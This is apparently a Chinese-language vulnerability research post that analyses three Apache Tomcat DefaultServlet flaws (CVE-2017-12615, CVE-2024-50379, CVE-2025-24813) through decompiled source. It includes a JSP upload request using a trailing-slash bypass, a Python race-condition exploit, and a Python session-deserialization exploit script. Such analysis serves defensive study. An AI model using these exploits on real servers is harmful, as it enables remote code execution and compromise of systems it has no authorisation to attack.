本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。

CVE-2017-12615

环境搭建

这里用Docker搭建环境。Dockerfile:

FROM tomcat:8.5.19-alpine

COPY context.xml web.xml /usr/local/tomcat/conf/

COPY debug.sh catalina.sh /usr/local/tomcat/bin/

WORKDIR /usr/local/tomcat/bin/

RUN chmod +x debug.sh && \
    chmod +x catalina.sh

CMD ["./debug.sh"]   

debug.sh代码如下:

#!/bin/bash

./startup.sh

sleep 1000000     

覆盖catalina.sh,向文件开头加入以下代码,用于debug。

export JAVA_OPTS='-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005'

web.xml中配置DefaultServlet的开启:

<servlet>
    <servlet-name>defalut</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param> 
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param> 
    <init-param> 
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param> 
    <load-on-startup>1</load-on-startup>
</servlet> 

<servlet-mapping> 
    <servlet-name>defalut</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping></web-app>

容器其中之后将lib目录下的文件复制出来导入IDEA即可:

docker cp tomcat:/usr/local/tomcat/lib ./

docker run如果句柄不够需要加上以下参数:

--ulimit nofile=65535:65535

漏洞分析

Tomcat爆出过多个关于DefaultServlet的漏洞。它是Tomcat中自带的一个Servlet,但默认不开启,位于/lib/catalina.jar!/org/apache/catalina/servlets/下。

DefaultServlet定义了doPut方法:

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    if (this.readOnly) {
        resp.sendError(403);
    } else {
        String path = this.getRelativePath(req);
        WebResource resource = this.resources.getResource(path);
        Range range = this.parseContentRange(req, resp);
        InputStream resourceInputStream = null;

        try {
            if (range != null) {
                File contentFile = this.executePartialPut(req, range, path);
                resourceInputStream = new FileInputStream(contentFile);
            } else {
                resourceInputStream = req.getInputStream();
            }

            if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
                if (resource.exists()) {
                    resp.setStatus(204);
                } else {
                    resp.setStatus(201);
                }
            } else {
                resp.sendError(409);
            }
        } finally {
            if (resourceInputStream != null) {
                try {
                    ((InputStream)resourceInputStream).close();
                } catch (IOException var13) {
                }
            }

        }

    }
}

this.readOnly为false时才可以写文件,对应web.xml里配置的参数。

从request body中获取输入流,文件名是webapps/ROOT拼接上URL path。

发送以下PUT数据包: 1 最终文件路径就是webapps/ROOT/test.txt

但无法直接写入jsp文件。查看web.xml发现默认还有一个JSP的servlet:

<servlet>
    <servlet-name>jsp</servlet-name>
    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
    <init-param>
        <param-name>fork</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>xpoweredBy</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>3</load-on-startup>
</servlet>

<servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.jsp</url-pattern>
    <url-pattern>*.jspx</url-pattern>
</servlet-mapping>

对于path以jspjspx结尾的请求会交由JspServlet处理。

这里可以用exp.jsp/绕过。这个path依然是进入DefaultServlet,而在后续的DirResourceSet#write方法会处理成exp.jsp

2

这样就可以上传jsp文件了。

PUT /poc.jsp/ HTTP/1.1
Connection: close
Content-Length: 6

asdasd

其他绕过方式:

  • windows会去除文件名结尾的空格
  • windows下exp.jsp::$DATA

CVE-2024-50379

9.0.0.M1 ≤ version ≤ 9.0.97

10.1.0-M1 ≤ version ≤ 10.1.33

11.0.0-M1 ≤ version ≤ 11.0.1

环境搭建

环境用的是tomcat windows 9.0.1,和上面一样配置好web.xml,在bin目录下写一个debug.bat文件:

set JPDA_ADDRESS=5005
set JPDA_TRANSPORT=dt_socket
set CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005
startup

运行这个文件即可debug。

漏洞分析

当访问以.jsp.jspx结尾的文件时会进入JspServlet处理,会尝试查找相应的JSP文件。最终会调用到org.apache.catalina.webresources.AbstractFileResourceSet#file方法,堆栈如下:

org.apache.catalina.webresources.AbstractFileResourceSet#file
org.apache.catalina.webresources.DirResourceSet#getResource
org.apache.catalina.webresources.StandardRoot#getResourceInternal
org.apache.catalina.webresources.CachedResource#validateResource
org.apache.catalina.webresources.Cache#getResource
org.apache.catalina.webresources.StandardRoot#getResource
org.apache.catalina.webresources.StandardRoot#getResource
org.apache.catalina.core.ApplicationContext#getResource
org.apache.catalina.core.ApplicationContextFacade#getResource
org.apache.jasper.servlet.JspServlet#serviceJspFile
org.apache.jasper.servlet.JspServlet#service
javax.servlet.http.HttpServlet#service

其代码如下:

protected final File file(String name, boolean mustExist) {
    if (name.equals("/")) {
        name = "";
    }

    File file = new File(this.fileBase, name);
    if (name.endsWith("/") && file.isFile()) {
        return null;
    } else if (mustExist && !file.canRead()) {
        return null;
    } else if (this.getRoot().getAllowLinking()) {
        return file;
    } else if (JrePlatform.IS_WINDOWS && this.isInvalidWindowsFilename(name)) {
        return null;
    } else {
        String canPath = null;

        try {
            canPath = file.getCanonicalPath();
        } catch (IOException var6) {
        }

        if (canPath != null && canPath.startsWith(this.canonicalBase)) {
            String absPath = this.normalize(file.getAbsolutePath());
            if (this.absoluteBase.length() > absPath.length()) {
                return null;
            } else {
                absPath = absPath.substring(this.absoluteBase.length());
                canPath = canPath.substring(this.canonicalBase.length());
                if (canPath.length() > 0) {
                    canPath = this.normalize(canPath);
                }

                return !canPath.equals(absPath) ? null : file;
            }
        } else {
            return null;
        }
    }
}

假如发送如下数据包:

GET /evil.jsp HTTP/1.1
Connection: close

这里获取了两个path:absPathcanPathabsPath是URL中的PATH也就是/evil.jsp

canPath比较特殊,如果webapps下有evil.JSP,则canPath的值为/evil.JSP,因为在windows不区分大小写。但此时因为canPathabsPath不同,函数会返回null。

return之后,回到org.apache.catalina.webresources.DirResourceSet#getResource方法,代码如下:

public WebResource getResource(String path) {
    this.checkPath(path);
    String webAppMount = this.getWebAppMount();
    WebResourceRoot root = this.getRoot();
    if (path.startsWith(webAppMount)) {
        File f = this.file(path.substring(webAppMount.length()), false);
        if (f == null) {
            return new EmptyResource(root, path);
        } else if (!f.exists()) {
            return new EmptyResource(root, path, f);
        } else {
            if (f.isDirectory() && path.charAt(path.length() - 1) != '/') {
                path = path + '/';
            }

            return new FileResource(root, path, f, this.isReadOnly(), this.getManifest());
        }
    } else {
        return new EmptyResource(root, path);
    }
}

此时f = null,会return一个EmptyResource,最终返回404。

但如果webapps下没有evil.JSP(无论大小写)。那么canPath的值会跟absPath相同。 3

此时file方法会将这个指向/evil.jsp的File对象返回。

紧接着getResource方法会检查其是否存在: 4

此处的f.exists()在windows写也不区分大小写。

所以这里存在一个竞争空间,大前提是目前无法直接上传jspjspx文件,但JspServlet只接受这两种后缀,所以想通过条件竞争使得访问/evil.jsp时可以执行/evil.JSP文件

如果在file方法执行时evil.JSP不存在,而到了getResource方法里写入了evil.JSP,那么就可以通过JspServlet执行evil.JSP文件了。

POC:

import requests
import string
import random
import threading

url = 'http://'

payload = '''
POC
'''.strip()

def generate_random_string(length):
    characters = string.ascii_lowercase + string.digits
    return ''.join(random.choices(characters, k=length))

def put_file(filename : str):
    requests.put(url=url + '/' + filename + '.JSP', data=payload)

def get_file(filename : str):
    res = requests.get(url=url + '/' + filename + '.jsp')
    if res.status_code != 404:
        print()
        print("[+] exploit success")

if __name__ == "__main__":
    filename = generate_random_string(8)

    get_thread = threading.Thread(target=get_file, args=[filename])
    put_thread = threading.Thread(target=put_file, args=[filename])

    get_thread.start()
    put_thread.start()

    get_thread.join()
    put_thread.join()

多试几次就能成功。但这个过程会上传很多文件:

5

不过如果给DefaultServlet配置了readOnly为false的话,那么就可以用DELETE请求删除文件。详见WHOAMI师傅的blog

CVE-2025-24813

9.0.0.M1 <= tomcat <= 9.0.98

10.1.0-M1 <= tomcat <= 10.1.34

11.0.0-M1 <= tomcat <= 11.0.2

环境搭建

环境依然是tomcat windows 9.0.1,开启DefaultServlet,和上面一样。

除此之外放一个commons-collections3.2.1的jar包到lib目录下。

还需要配置context.xml开启SESSION持久化:

<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"/>
</Manager>

漏洞分析

Tomcat曾经爆出过一个Session反序列化的漏洞,编号是:CVE-2020-9484

有关Session读取的方法FileStore#load代码如下:

public Session load(String id) throws ClassNotFoundException, IOException {
    File file = this.file(id);
    if (file == null) {
        return null;
    } else if (!file.exists()) {
        return null;
    } else {
        Context context = this.getManager().getContext();
        Log contextLog = context.getLogger();
        if (contextLog.isDebugEnabled()) {
            contextLog.debug(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
        }

        ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, (ClassLoader)null);

        Throwable var7;
        try {
            FileInputStream fis = new FileInputStream(file.getAbsolutePath());
            var7 = null;

            try {
                ObjectInputStream ois = this.getObjectInputStream(fis);
                Throwable var9 = null;

                try {
                    StandardSession session = (StandardSession)this.manager.createEmptySession();
                    session.readObjectData(ois);
                    session.setManager(this.manager);
                    StandardSession var11 = session;
                    return var11;
                } catch (Throwable var49) {
                    var9 = var49;
                    throw var49;
                } finally {
        ............

tomcat的Session机制类似PHP,将序列化数据保存在文件中,通过Cookie中的JSESSIONID来查找文件并通过session.readObjectData(ois);触发反序列化。而旧版本中JSESSIONID没有过滤..导致可以目录穿越从而反序列化任意文件。

CVE-2025-24813的利用方法是直接向Session存储目录下写文件。

DefaultServlet#doPut方法会从Header中获取Range,如果指定了Range则会先进入executePartialPut方法写入临时文件,然后再写入webapps下。代码如下:

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    if (this.readOnly) {
        resp.sendError(403);
    } else {
        String path = this.getRelativePath(req);
        WebResource resource = this.resources.getResource(path);
        Range range = this.parseContentRange(req, resp);
        InputStream resourceInputStream = null;

        try {
            if (range != null) {
                File contentFile = this.executePartialPut(req, range, path);
                resourceInputStream = new FileInputStream(contentFile);
            } else {
                resourceInputStream = req.getInputStream();
            }
    .........

Range的写法是Content-Range: bytes 0-100/110

Windows下临时文件默认的临时路径为{tomcat_base_path}\work\Catalina\localhost\ROOT。其他系统路径可能不同,但Session文件的默认存储位置跟存放临时文件的路径是一样的。

tomcat查找Session文件的过程是:

  1. 从Cookie中获得JSESSIONID
  2. JSESSIONID后面加上.session后缀
  3. 然后再Session存储路径下查找该文件。

executePartialPut方法代码如下:

protected File executePartialPut(HttpServletRequest req, Range range, String path) throws IOException {
    File tempDir = (File)this.getServletContext().getAttribute("javax.servlet.context.tempdir");
    String convertedResourcePath = path.replace('/', '.');
    File contentFile = new File(tempDir, convertedResourcePath);
    if (contentFile.createNewFile()) {
        contentFile.deleteOnExit();
    }

    RandomAccessFile randAccessContentFile = new RandomAccessFile(contentFile, "rw");
    Throwable var8 = null;
    ............

会将/换成.,所以用/exp.session/exp/session均可以写入.exp.session文件。

需要注意,这个过程中会根据提供的Range写入数据: 6

所以Header中的Range要足够大。

利用流程是:

  1. 通过executePartialPut将序列化数据写入.exp.session
  2. 携带Cookie:JSESSIONID=.exp即可将文件内容反序列化。

POC:

import requests
import string
import random

def generate_random_string(length):
    characters = string.ascii_lowercase + string.digits
    return ''.join(random.choices(characters, k=length))

url = 'http://'

filename = generate_random_string(8)

# 反序列化payload
payload = open('ser.bin', 'rb').read()

# 上传
requests.put(url=url + '/' + filename + '.session', headers={"Content-Range" : "bytes 0-{}/5000".format(len(payload) + 1)}, data=payload)

# 触发Session反序列化
requests.get(url=url + '/index.jsp', cookies={"JSESSIONID" : "." + filename})

这里需要自己在webapps/ROOT下写一个index.jsp,不然会报404,不会触发Session反序列化。

参考

https://boogipop.com/2025/03/13/CVE-2025-24813%20Tomcat%20Session%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%84%E5%90%88%E6%8B%B3/

https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e

https://whoamianony.top/posts/apache-tomcat-rce-via-write-enabled-default-servlet/